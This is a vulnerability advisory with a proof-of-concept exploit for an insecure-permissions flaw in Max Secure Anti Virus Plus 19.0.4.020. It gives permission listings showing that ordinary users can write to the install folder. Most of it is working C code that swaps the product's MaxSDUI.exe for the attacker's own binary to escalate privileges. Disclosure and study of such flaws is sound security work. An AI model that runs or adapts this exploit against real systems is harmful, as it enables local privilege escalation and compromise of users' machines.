Max Secure Anti Virus Plus 19.0.4.020 - Insecure File Permissions Vulnerability

# Exploit Title: Max Secure Anti Virus Plus 19.0.4.020 - Insecure File Permissions
# Discovery by: hyp3rlinx
# Vendor Homepage: www.maxpcsecure.com
# Tested Version: 19.0.4.020
# CVE: N/A

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MAX-SECURE-PLUS-ANTIVIRUS-INSECURE-PERMISSIONS.txt
[+] ISR: ApparitionSec          
 

[Vendor]
www.maxpcsecure.com


[Affected Product Code Base]
Max Secure Anti Virus Plus - 19.0.4.020

File hash: ab1dda23ad3955eb18fdb75f3cbc308a
msplusx64.exe


[Vulnerability Type]
Insecure Permissions


[CVE Reference]
N/A


[Security Issue]
Max Secure Anti Virus Plus 19.0.4.020 has Insecure Permissions on the installation directory.
Local attackers or malware running at low integrity can replace a .exe or .dll file to achieve privilege escalation.

C:\Program Files\Max Secure Anti Virus Plus>cacls * | more
C:\Program Files\Max Secure Anti Virus Plus\7z.dll NT AUTHORITY\Authenticated Users:(ID)F
                                                   BUILTIN\Users:(ID)F
                                                   NT AUTHORITY\SYSTEM:(ID)F
                                                   BUILTIN\Administrators:(ID)F


[Affected Component]
Permissions on installation directory


[Exploit/POC]
#include <stdio.h>
#include <windows.h>
#define TARGET "C:\\Program Files\\Max Secure Anti Virus Plus\\MaxSDUI.exe"
#define TMP "C:\\Program Files\\Max Secure Anti Virus Plus\\2.exe"
#define DISABLED_TARGET "C:\\Program Files\\Max Secure Anti Virus Plus\\666.tmp"

/* Max Secure Anti Virus Plus PoC By hyp3rlinx */

BOOL PWNED=FALSE;

BOOL FileExists(LPCTSTR szPath){
  DWORD dwAttrib = GetFileAttributes(szPath);
  return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}

void main(void){
   
  if(!FileExists(DISABLED_TARGET)){
  	CopyFile(TARGET, TMP, FALSE);
  	Sleep(1000);
    CopyFile(TMP, DISABLED_TARGET, FALSE);
    printf("[+] Max Secure Anti Virus Plus EoP PoC\n");
    Sleep(1000);
    printf("[+] Disabled MaxSDUI.exe ...\n");
    Sleep(300);
   }else{
  	 PWNED=TRUE;
   }
   
    if(!PWNED){
     	char fname[MAX_PATH];
        char newLoc[]=TARGET;
        DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
       if (size){
         printf("[+] Copying exploit to vuln dir...\n");
         Sleep(1000);
         CopyFile(fname, TARGET, FALSE);
         printf("[+] Replaced legit Max Secure EXE...\n");
         Sleep(2000);
         printf("[+] Done!\n");
         MoveFile(fname, "C:\\Program Files\\Max Secure Anti Virus Plus\\MaxPwn.lnk");
         Sleep(1000);
         exit(0);
        }
    }else{
    	if(FileExists(TMP)){
    		 remove(TMP);
    	}
     	printf("[+] Max Secure Anti Virus Plus PWNED!!!\n");
     	printf("[+] hyp3rlinx\n");
     	system("pause");
     }
}


[POC Video URL]
https://www.youtube.com/watch?v=DXSV5geXkTw